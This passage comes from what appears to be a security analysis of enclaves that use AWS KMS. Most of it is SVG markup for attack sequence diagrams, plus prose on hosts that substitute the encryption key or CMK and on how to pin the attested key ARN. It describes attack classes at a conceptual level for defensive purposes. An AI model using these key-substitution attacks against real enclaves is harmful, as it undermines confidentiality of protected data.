<text text-anchor="middle" x="120" y="548" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="132" fill="currentColor">C</text>
<text text-anchor="middle" x="128" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="324" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="420" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="484" fill="currentColor">y</text>
<text text-anchor="middle" x="128" y="532" fill="currentColor">E</text>
<text text-anchor="middle" x="128" y="548" fill="currentColor">d</text>
<text text-anchor="middle" x="136" y="132" fill="currentColor">=</text>
<text text-anchor="middle" x="136" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="324" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="372" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="420" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="484" fill="currentColor">-</text>
<text text-anchor="middle" x="136" y="532" fill="currentColor">C</text>
<text text-anchor="middle" x="144" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="144" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="324" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="484" fill="currentColor">c</text>
<text text-anchor="middle" x="144" y="532" fill="currentColor">1</text>
<text text-anchor="middle" x="144" y="548" fill="currentColor">o</text>
<text text-anchor="middle" x="152" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="152" y="276" fill="currentColor">_</text>
<text text-anchor="middle" x="152" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="152" y="372" fill="currentColor">_</text>
<text text-anchor="middle" x="152" y="420" fill="currentColor">,</text>
<text text-anchor="middle" x="152" y="484" fill="currentColor">o</text>
<text text-anchor="middle" x="152" y="532" fill="currentColor">,</text>
<text text-anchor="middle" x="152" y="548" fill="currentColor">f</text>
<text text-anchor="middle" x="160" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="160" y="244" fill="currentColor">s</text>
<text text-anchor="middle" x="160" y="276" fill="currentColor">i</text>
<text text-anchor="middle" x="160" y="324" fill="currentColor">d</text>
<text text-anchor="middle" x="160" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="160" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="160" y="484" fill="currentColor">m</text>
<text text-anchor="middle" x="160" y="532" fill="currentColor">C</text>
<text text-anchor="middle" x="168" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="168" y="244" fill="currentColor">w</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="168" y="324" fill="currentColor">k</text>
<text text-anchor="middle" x="168" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="168" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="168" y="484" fill="currentColor">m</text>
<text text-anchor="middle" x="168" y="532" fill="currentColor">2</text>
<text text-anchor="middle" x="168" y="548" fill="currentColor">(</text>
<text text-anchor="middle" x="176" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="176" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="176" y="324" fill="currentColor">2</text>
<text text-anchor="middle" x="176" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="176" y="420" fill="currentColor">3</text>
<text text-anchor="middle" x="176" y="484" fill="currentColor">i</text>
<text text-anchor="middle" x="176" y="532" fill="currentColor">)</text>
<text text-anchor="middle" x="176" y="548" fill="currentColor">E</text>
<text text-anchor="middle" x="184" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="184" y="244" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="184" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="184" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="184" y="420" fill="currentColor">,</text>
<text text-anchor="middle" x="184" y="484" fill="currentColor">t</text>
<text text-anchor="middle" x="184" y="548" fill="currentColor">,</text>
<text text-anchor="middle" x="192" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="192" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="192" y="420" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="484" fill="currentColor">-</text>
<text text-anchor="middle" x="192" y="548" fill="currentColor">E</text>
<text text-anchor="middle" x="200" y="132" fill="currentColor">P</text>
<text text-anchor="middle" x="200" y="244" fill="currentColor">w</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="200" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="372" fill="currentColor">3</text>
<text text-anchor="middle" x="200" y="420" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="484" fill="currentColor">e</text>
<text text-anchor="middle" x="200" y="548" fill="currentColor">C</text>
<text text-anchor="middle" x="208" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="244" fill="currentColor">i</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="208" y="324" fill="currentColor">1</text>
<text text-anchor="middle" x="208" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="208" y="420" fill="currentColor">1</text>
<text text-anchor="middle" x="208" y="484" fill="currentColor">n</text>
<text text-anchor="middle" x="208" y="548" fill="currentColor">1</text>
<text text-anchor="middle" x="216" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="216" y="324" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="216" y="420" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="484" fill="currentColor">c</text>
<text text-anchor="middle" x="216" y="548" fill="currentColor">,</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="244" fill="currentColor">h</text>
<text text-anchor="middle" x="224" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="224" y="324" fill="currentColor">}</text>
<text text-anchor="middle" x="224" y="372" fill="currentColor">C</text>
<text text-anchor="middle" x="224" y="420" fill="currentColor">}</text>
<text text-anchor="middle" x="224" y="484" fill="currentColor">(</text>
<text text-anchor="middle" x="224" y="548" fill="currentColor">C</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="232" y="372" fill="currentColor">1</text>
<text text-anchor="middle" x="232" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="232" y="548" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="244" fill="currentColor">k</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="372" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="248" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="248" y="484" fill="currentColor">2</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="256" y="244" fill="currentColor">y</text>
<text text-anchor="middle" x="256" y="484" fill="currentColor">,</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="264" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="272" y="244" fill="currentColor">c</text>
<text text-anchor="middle" x="272" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="272" y="596" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="244" fill="currentColor">o</text>
<text text-anchor="middle" x="280" y="484" fill="currentColor">3</text>
<text text-anchor="middle" x="280" y="596" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="288" y="244" fill="currentColor">m</text>
<text text-anchor="middle" x="288" y="484" fill="currentColor">,</text>
<text text-anchor="middle" x="288" y="596" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="244" fill="currentColor">m</text>
<text text-anchor="middle" x="296" y="484" fill="currentColor">P</text>
<text text-anchor="middle" x="296" y="596" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="708" fill="currentColor">d</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="304" y="244" fill="currentColor">i</text>
<text text-anchor="middle" x="304" y="484" fill="currentColor">2</text>
<text text-anchor="middle" x="304" y="596" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="708" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="312" y="484" fill="currentColor">,</text>
<text text-anchor="middle" x="312" y="596" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="708" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="244" fill="currentColor">m</text>
<text text-anchor="middle" x="320" y="484" fill="currentColor">P</text>
<text text-anchor="middle" x="320" y="596" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="644" fill="currentColor">{</text>
<text text-anchor="middle" x="320" y="708" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="484" fill="currentColor">3</text>
<text text-anchor="middle" x="328" y="596" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="644" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="708" fill="currentColor">d</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="336" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="336" y="484" fill="currentColor">)</text>
<text text-anchor="middle" x="336" y="596" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="644" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="708" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="724" fill="currentColor">P</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="344" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="344" y="596" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="644" fill="currentColor">2</text>
<text text-anchor="middle" x="344" y="708" fill="currentColor">2</text>
<text text-anchor="middle" x="344" y="724" fill="currentColor">2</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="352" y="596" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="644" fill="currentColor">/</text>
<text text-anchor="middle" x="352" y="708" fill="currentColor">/</text>
<text text-anchor="middle" x="352" y="724" fill="currentColor">/</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="360" y="596" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="644" fill="currentColor">d</text>
<text text-anchor="middle" x="360" y="708" fill="currentColor">d</text>
<text text-anchor="middle" x="360" y="724" fill="currentColor">P</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="368" y="596" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="644" fill="currentColor">k</text>
<text text-anchor="middle" x="368" y="708" fill="currentColor">k</text>
<text text-anchor="middle" x="368" y="724" fill="currentColor">3</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="376" y="596" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="644" fill="currentColor">3</text>
<text text-anchor="middle" x="376" y="708" fill="currentColor">3</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="384" y="596" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="644" fill="currentColor">}</text>
<text text-anchor="middle" x="384" y="708" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">C</text>
<text text-anchor="middle" x="392" y="596" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="708" fill="currentColor">C</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">1</text>
<text text-anchor="middle" x="400" y="596" fill="currentColor">2</text>
<text text-anchor="middle" x="400" y="708" fill="currentColor">2</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="408" y="596" fill="currentColor">/</text>
<text text-anchor="middle" x="408" y="708" fill="currentColor">)</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="416" y="596" fill="currentColor">E</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="424" y="596" fill="currentColor">3</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="432" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="432" y="596" fill="currentColor">,</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="440" y="596" fill="currentColor">E</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">,</text>
<text text-anchor="middle" x="448" y="596" fill="currentColor">C</text>
<text text-anchor="middle" x="456" y="36" fill="currentColor">E</text>
<text text-anchor="middle" x="456" y="596" fill="currentColor">1</text>
<text text-anchor="middle" x="464" y="36" fill="currentColor">C</text>
<text text-anchor="middle" x="464" y="596" fill="currentColor">)</text>
<text text-anchor="middle" x="472" y="36" fill="currentColor">1</text>
<text text-anchor="middle" x="480" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="504" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 6: Lack of key commitment may allow an attacker to select plaintext by providing a different encryption key (E2/E3) dynamically, if ciphertext (C2) must be pre-selected.</span></figcaption></figure>
<p>The next class of attacks is when the host can select CMK that enclave uses. The exact nature of the
attack depends on specific degrees of freedom, but in the worst case, the host can force the use of
a completely unprotected CMK.</p>
<p>To protect against these attacks, the enclave must ensure the expected CMK is used; this can be done
by hardcoding full ARN, so it is attested. Then the attested ARN must be provided as the optional
<a href="https://docs.aws.amazon.com/kms/latest/APIReference/API_Decrypt.html#API_Decrypt_RequestSyntax"><code>keyId</code></a>
parameter in <code>Decrypt</code> requests, and validated against <code>keyId</code> from KMS responses. Note that the
<code>keyId</code> param is optional, because <code>CiphertextBlob</code> includes a reference to the CMK as metadata
(<code>HBKID</code> in Appendix A): the metadata is not cryptographically protected, and the attacker may be
able to manipulate it.</p>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 512 569">
 <g transform="translate(8,16)">
<path d="M 0,32 L 48,32" fill="none" stroke="currentColor"></path>
<path d="M 48,32 L 104,32" fill="none" stroke="currentColor"></path>
<path d="M 312,32 L 480,32" fill="none" stroke="currentColor"></path>
<path d="M 480,32 L 496,32" fill="none" stroke="currentColor"></path>
<path d="M 56,80 L 64,80" fill="none" stroke="currentColor"></path>
<path d="M 80,80 L 88,80" fill="none" stroke="currentColor"></path>
<path d="M 96,80 L 104,80" fill="none" stroke="currentColor"></path>
<path d="M 112,80 L 120,80" fill="none" stroke="currentColor"></path>
<path d="M 128,80 L 136,80" fill="none" stroke="currentColor"></path>
<path d="M 144,80 L 152,80" fill="none" stroke="currentColor"></path>
<path d="M 160,80 L 168,80" fill="none" stroke="currentColor"></path>
<path d="M 176,80 L 184,80" fill="none" stroke="currentColor"></path>
<path d="M 192,80 L 200,80" fill="none" stroke="currentColor"></path>
<path d="M 208,80 L 216,80" fill="none" stroke="currentColor"></path>
<path d="M 224,80 L 232,80" fill="none" stroke="currentColor"></path>
<path d="M 240,80 L 248,80" fill="none" stroke="currentColor"></path>
<path d="M 56,128 L 64,128" fill="none" stroke="currentColor"></path>
<path d="M 72,128 L 80,128" fill="none" stroke="currentColor"></path>
<path d="M 88,128 L 96,128" fill="none" stroke="currentColor"></path>
<path d="M 104,128 L 112,128" fill="none" stroke="currentColor"></path>
<path d="M 120,128 L 128,128" fill="none" stroke="currentColor"></path>
<path d="M 136,128 L 144,128" fill="none" stroke="currentColor"></path>
<path d="M 152,128 L 160,128" fill="none" stroke="currentColor"></path>
<path d="M 168,128 L 176,128" fill="none" stroke="currentColor"></path>
<path d="M 184,128 L 192,128" fill="none" stroke="currentColor"></path>
<path d="M 200,128 L 208,128" fill="none" stroke="currentColor"></path>
<path d="M 216,128 L 224,128" fill="none" stroke="currentColor"></path>
<path d="M 232,128 L 248,128" fill="none" stroke="currentColor"></path>
<path d="M 256,176 L 472,176" fill="none" stroke="currentColor"></path>
<path d="M 264,224 L 272,224" fill="none" stroke="currentColor"></path>
<path d="M 288,224 L 296,224" fill="none" stroke="currentColor"></path>
<path d="M 304,224 L 312,224" fill="none" stroke="currentColor"></path>
<path d="M 320,224 L 328,224" fill="none" stroke="currentColor"></path>
<path d="M 336,224 L 344,224" fill="none" stroke="currentColor"></path>
<path d="M 352,224 L 360,224" fill="none" stroke="currentColor"></path>
<path d="M 368,224 L 376,224" fill="none" stroke="currentColor"></path>
<path d="M 384,224 L 392,224" fill="none" stroke="currentColor"></path>
<path d="M 400,224 L 408,224" fill="none" stroke="currentColor"></path>
<path d="M 416,224 L 424,224" fill="none" stroke="currentColor"></path>
<path d="M 432,224 L 440,224" fill="none" stroke="currentColor"></path>
<path d="M 448,224 L 456,224" fill="none" stroke="currentColor"></path>
<path d="M 464,224 L 472,224" fill="none" stroke="currentColor"></path>
<path d="M 256,256 L 280,256" fill="none" stroke="currentColor"></path>
<path d="M 264,288 L 280,288" fill="none" stroke="currentColor"></path>
<path d="M 56,336 L 256,336" fill="none" stroke="currentColor"></path>
<path d="M 48,384 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 472,384" fill="none" stroke="currentColor"></path>
<path d="M 56,432 L 64,432" fill="none" stroke="currentColor"></path>
<path d="M 80,432 L 88,432" fill="none" stroke="currentColor"></path>
<path d="M 96,432 L 104,432" fill="none" stroke="currentColor"></path>
<path d="M 112,432 L 120,432" fill="none" stroke="currentColor"></path>
<path d="M 128,432 L 136,432" fill="none" stroke="currentColor"></path>
<path d="M 144,432 L 152,432" fill="none" stroke="currentColor"></path>
<path d="M 160,432 L 168,432" fill="none" stroke="currentColor"></path>
<path d="M 176,432 L 184,432" fill="none" stroke="currentColor"></path>
<path d="M 192,432 L 200,432" fill="none" stroke="currentColor"></path>
<path d="M 208,432 L 216,432" fill="none" stroke="currentColor"></path>
<path d="M 224,432 L 232,432" fill="none" stroke="currentColor"></path>
<path d="M 240,432 L 248,432" fill="none" stroke="currentColor"></path>
<path d="M 272,432 L 280,432" fill="none" stroke="currentColor"></path>
<path d="M 288,432 L 296,432" fill="none" stroke="currentColor"></path>
<path d="M 304,432 L 312,432" fill="none" stroke="currentColor"></path>
<path d="M 320,432 L 328,432" fill="none" stroke="currentColor"></path>
<path d="M 336,432 L 344,432" fill="none" stroke="currentColor"></path>
<path d="M 352,432 L 360,432" fill="none" stroke="currentColor"></path>
<path d="M 368,432 L 376,432" fill="none" stroke="currentColor"></path>
<path d="M 384,432 L 392,432" fill="none" stroke="currentColor"></path>
<path d="M 400,432 L 408,432" fill="none" stroke="currentColor"></path>
<path d="M 416,432 L 424,432" fill="none" stroke="currentColor"></path>
<path d="M 432,432 L 440,432" fill="none" stroke="currentColor"></path>
<path d="M 448,432 L 456,432" fill="none" stroke="currentColor"></path>
<path d="M 464,432 L 472,432" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 72,464" fill="none" stroke="currentColor"></path>
<path d="M 168,480 L 176,480" fill="none" stroke="currentColor"></path>
<path d="M 56,496 L 72,496" fill="none" stroke="currentColor"></path>
<path d="M 0,528 L 48,528" fill="none" stroke="currentColor"></path>
<path d="M 48,528 L 256,528" fill="none" stroke="currentColor"></path>
<path d="M 256,528 L 480,528" fill="none" stroke="currentColor"></path>
<path d="M 480,528 L 496,528" fill="none" stroke="currentColor"></path>
<path d="M 0,32 L 0,528" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,32" fill="none" stroke="currentColor"></path>
<path d="M 48,32 L 48,384" fill="none" stroke="currentColor"></path>
<path d="M 48,384 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 48,528" fill="none" stroke="currentColor"></path>
<path d="M 48,528 L 48,544" fill="none" stroke="currentColor"></path>
<path d="M 72,464 L 72,496" fill="none" stroke="currentColor"></path>
<path d="M 256,8 L 256,24" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,80" fill="none" stroke="currentColor"></path>
<path d="M 256,80 L 256,176" fill="none" stroke="currentColor"></path>
<path d="M 256,176 L 256,256" fill="none" stroke="currentColor"></path>
<path d="M 256,256 L 256,336" fill="none" stroke="currentColor"></path>
<path d="M 256,336 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 256,432" fill="none" stroke="currentColor"></path>
<path d="M 256,432 L 256,528" fill="none" stroke="currentColor"></path>
<path d="M 256,528 L 256,544" fill="none" stroke="currentColor"></path>
<path d="M 280,256 L 280,288" fill="none" stroke="currentColor"></path>
<path d="M 480,16 L 480,32" fill="none" stroke="currentColor"></path>
<path d="M 480,32 L 480,528" fill="none" stroke="currentColor"></path>
<path d="M 480,528 L 480,544" fill="none" stroke="currentColor"></path>
<path d="M 496,32 L 496,528" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,80.000000 52.000000,74.400002 52.000000,85.599998" fill="currentColor" transform="rotate(180.000000, 56.000000, 80.000000)"></polygon>
<polygon points="64.000000,336.000000 52.000000,330.399994 52.000000,341.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 336.000000)"></polygon>
<polygon points="64.000000,432.000000 52.000000,426.399994 52.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 432.000000)"></polygon>
<polygon points="64.000000,496.000000 52.000000,490.399994 52.000000,501.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 496.000000)"></polygon>
<polygon points="184.000000,480.000000 172.000000,474.399994 172.000000,485.600006" fill="currentColor" transform="rotate(0.000000, 176.000000, 480.000000)"></polygon>
<polygon points="256.000000,128.000000 244.000000,122.400002 244.000000,133.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 128.000000)"></polygon>
<polygon points="272.000000,224.000000 260.000000,218.399994 260.000000,229.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 224.000000)"></polygon>
<polygon points="272.000000,288.000000 260.000000,282.399994 260.000000,293.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 288.000000)"></polygon>
<polygon points="480.000000,176.000000 468.000000,170.399994 468.000000,181.600006" fill="currentColor" transform="rotate(0.000000, 472.000000, 176.000000)"></polygon>
<polygon points="480.000000,384.000000 468.000000,378.399994 468.000000,389.600006" fill="currentColor" transform="rotate(0.000000, 472.000000, 384.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="372" fill="currentColor">D</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="68" fill="currentColor">c</text>
<text text-anchor="middle" x="72" y="116" fill="currentColor">c</text>
<text text-anchor="middle" x="72" y="372" fill="currentColor">e</text>
<text text-anchor="middle" x="80" y="68" fill="currentColor">m</text>
<text text-anchor="middle" x="80" y="116" fill="currentColor">m</text>
<text text-anchor="middle" x="80" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="88" y="68" fill="currentColor">k</text>
<text text-anchor="middle" x="88" y="116" fill="currentColor">k</text>
<text text-anchor="middle" x="88" y="324" fill="currentColor">s</text>
<text text-anchor="middle" x="88" y="372" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="96" y="68" fill="currentColor">_</text>
<text text-anchor="middle" x="96" y="116" fill="currentColor">_</text>
<text text-anchor="middle" x="96" y="324" fill="currentColor">t</text>
<text text-anchor="middle" x="96" y="372" fill="currentColor">y</text>
<text text-anchor="middle" x="96" y="484" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="104" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="104" y="324" fill="currentColor">o</text>
<text text-anchor="middle" x="104" y="372" fill="currentColor">p</text>
<text text-anchor="middle" x="104" y="484" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="68" fill="currentColor">d</text>
<text text-anchor="middle" x="112" y="116" fill="currentColor">d</text>
<text text-anchor="middle" x="112" y="324" fill="currentColor">r</text>
<text text-anchor="middle" x="112" y="372" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="484" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="36" fill="currentColor">C</text>
<text text-anchor="middle" x="120" y="68" fill="currentColor">?</text>
<text text-anchor="middle" x="120" y="116" fill="currentColor">2</text>
<text text-anchor="middle" x="120" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="372" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="128" y="36" fill="currentColor">M</text>
<text text-anchor="middle" x="128" y="324" fill="currentColor">(</text>
<text text-anchor="middle" x="128" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="136" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="136" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="136" y="372" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="420" fill="currentColor">{</text>
<text text-anchor="middle" x="136" y="484" fill="currentColor">,</text>
<text text-anchor="middle" x="144" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="144" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="144" y="484" fill="currentColor">C</text>
<text text-anchor="middle" x="152" y="36" fill="currentColor">s</text>
<text text-anchor="middle" x="152" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="152" y="372" fill="currentColor">_</text>
<text text-anchor="middle" x="152" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="152" y="484" fill="currentColor">)</text>
<text text-anchor="middle" x="160" y="36" fill="currentColor">u</text>
<text text-anchor="middle" x="160" y="324" fill="currentColor">)</text>
<text text-anchor="middle" x="160" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="160" y="420" fill="currentColor">}</text>
<text text-anchor="middle" x="168" y="36" fill="currentColor">b</text>
<text text-anchor="middle" x="168" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="176" y="36" fill="currentColor">s</text>
<text text-anchor="middle" x="176" y="372" fill="currentColor">2</text>
<text text-anchor="middle" x="184" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="184" y="372" fill="currentColor">,</text>
